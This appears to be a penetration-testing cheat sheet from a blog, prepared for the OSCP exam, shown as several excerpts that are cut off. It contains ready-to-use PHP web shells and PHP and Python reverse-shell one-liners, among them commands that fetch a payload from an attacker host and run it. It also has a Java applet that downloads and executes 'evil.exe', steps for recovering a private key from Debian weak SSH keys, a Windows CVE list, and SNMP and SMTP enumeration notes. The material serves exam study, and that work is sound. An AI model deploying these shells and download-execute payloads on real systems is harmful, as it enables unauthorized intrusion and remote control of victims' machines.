Steinz Security

PHP Shells: echo '<?php $sock = fsockopen(" IP_ADDRESS ", PORT ); $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>' > shell.php #This does not work this double quotes most of the times <?php system("whoami; wget http://10.11.0.48/shell; chmod +x shell; ./shell"); ?> <?php system("/usr/bin/wget 10.11.0.48:53/shell.txt -O /dev/shm/shell.php; php /dev/shm/shell.php"); ?> <? php -r '$sock=fsockopen("10.11.0.48",9001);exec("/bin/sh -i <&3 >&3 2>&3");' ?> <?php echo system($_REQUEST['cmd']); ?> <?php echo shell_exec($_GET['cmd']); ?> Get PHP Reverse Shell from here Python Reverse Shell python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((" IP_ADDRESS ", PORT ));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.filen...

 Get The Kernel Exploits here --> https://github.com/SecWiki/windows-kernel-exploits OS Based on the version 10.0.14393 --> Windows Server 2016 10.0.17763 --> Windows Server 2019 [+] Windows vulnerabilities: Windows XP: CVE-2012-4349 Unquoted windows search path - Windows provides the capability of including spaces in path names - can be root CVE-2011-1345 Internet Explorer does not properly handle objects in memory - allows remote execution of code via object CVE-2010-3138 EXPLOIT-DB 14765 - Untrusted search path vulnerability - allows local users to gain privileges via a Trojan horse CVE-2011-5046 EXPLOIT-DB 18275 - GDI in windows does not properly validate user-mode input - allows remote code execution CVE-2002-1214 ms02_063_pptp_dos - exploits a kernel based overflow when sending abnormal PPTP Control Data packets - code execution, DoS CVE-2003-0352 ms03_026_dcom - exploits a stack buffer overflow in the RPCSS service CVE...

  All links for OSCP Windows Enum Linux - Enum Windows Priv Esc Cheatsheet Windows Priv Esc Guif.re CVE-Exploits 1) Start Screen Recording using OBS Screen Recorder 2) Check the Machine IP's - Start Timer (Dont Stay on a Single Machine for too Long) - Cracked a Machine - Restart the Timer 3) Start Buffer overflow on the test machine - Start NmapAutomator on all 4 machines before starting BOF on test 4) Take Screenshots of everything 5) Start with 10 Points Box after BOF(25 Points); If this is taking too long, switch to a new box. Come back to this later. Document Everything. 6) HTTP is Vulnerable Most of the times - start with HTTP - Start nikto, dirb,dirsearch, dirbuster - extensions - robots.txt, config.php, license.txt - Try Default Creds - if the creds doesnt work - try searching for creds for sometime - Try Cewl --> use it for brute forcing - Check ...

This is the java code to download  import java.applet.*; import java.awt.*; import java.io.*; import java.net.URL; import java.util.*; import java.net.URL; /** * Author: Offensive Security * This Java applet will download a file and execute it. **/ public class Java extends Applet { private Object initialized = null; public Object isInitialized() { return initialized; } public void init() { Process f; try { String tmpdir = System.getProperty("java.io.tmpdir") + File.separator; String expath = tmpdir + "evil.exe"; String download = ""; download = getParameter("1"); if (download.length() > 0) { // URL parameter URL url = new URL(download); // Get an input stream for reading InputStream in = url.openStream(); // Create a buffered inp...

For this method to work, you need to have the authorized key of the victim machine cat authorized_keys ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTs................................ SSH-DSS is disabled on new versions of SSH, so you need to enable it nano /etc/ssh/ssh_config PubkeyAcceptedKeyTypes +ssh-dss git clone https://github.com/g0tmi1k/debian-ssh tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2 cd /dss/1024 Copy first few characters from the authorized keys and we going to search for the key from the list of keys we downloaded earlier grep -lr 'AAAAB3Ndskkdsjhfodsi4m5adsa6d5s8RadSsdsWassd3rhf6gySd2sdS34rW' you can see some file with random characters with .pub file; ex: e2eb2172a62d0d7e40f210g6167f65ca-12345.pub But, what we need is not a public key - we need private key to login :) so, search for it again ls -la | grep e2eb2172a62d0 Now you can see two files one private key and one public key; use e2eb2172a62d0d7e40f210g6167f6...

Basic info About SNMP Ports - 161,162,10161,10162/udp SNMP is a based on UDP, stateless protocol --> susceptible to IP spoofing and replay attacks. SNMP1, SNMP2, SNMP2C --> can be locally irrupted over a local network. SNMP is a UDP protocol & UDP scanning that UDP requires a matching port and payload or it won't respond. This means we have to get the community string correct or we won't get any sort of a response. In-case, when a response is received, it contains the community string, and the scanner can identify the valid community string. MIB-values 1.3.6.1.2.1.25.1.6.0 System Processes 1.3.6.1.2.1.25.4.2.1.2 Running Programs 1.3.6.1.2.1.25.4.2.1.4 Processes Path 1.3.6.1.2.1.25.2.3.1.4 Storage Units 1.3.6.1.2.1.25.6.3.1.2 Software's Installed & Hotfixes 1.3.6.1.2.1.6.13.1.3 TCP Local Ports 1.3.6.1.2.1.1.1 System Description OID and MIB Hierarchy - the way MIB-Values are created Enum via NMAP #Run SNMP Nmap Scripts nmap -sCUV -p161 ...

Basic info About SMTP Commands PIPELINING – Pipelining Sends batches of SMTP commands without waiting for a response from the SMTP Server to individual comments. SIZE – SIZE extension has two purposes:      To give the server an estimate of the size of a message before the message is transmitted.      To warn the client that messages above a certain size will not be accepted. ETRN – allows an SMTP server to send a request to another SMTP server to send any e-mail messages it has. The ETRN command has been specifically designed to allow integration with dial-up mail servers. 8BITMIME – is a way for SMTP servers that support it to transmit email using 8-bit character sets in a standards-compliant way that won’t break old servers. DSN – DSN (Delivery Status Notification) is an extension to SMTP email delivery that can notify senders about the status of their message’s delivery. STARTTLS – StartTLS is mainly used as a protocol extension for communicatio...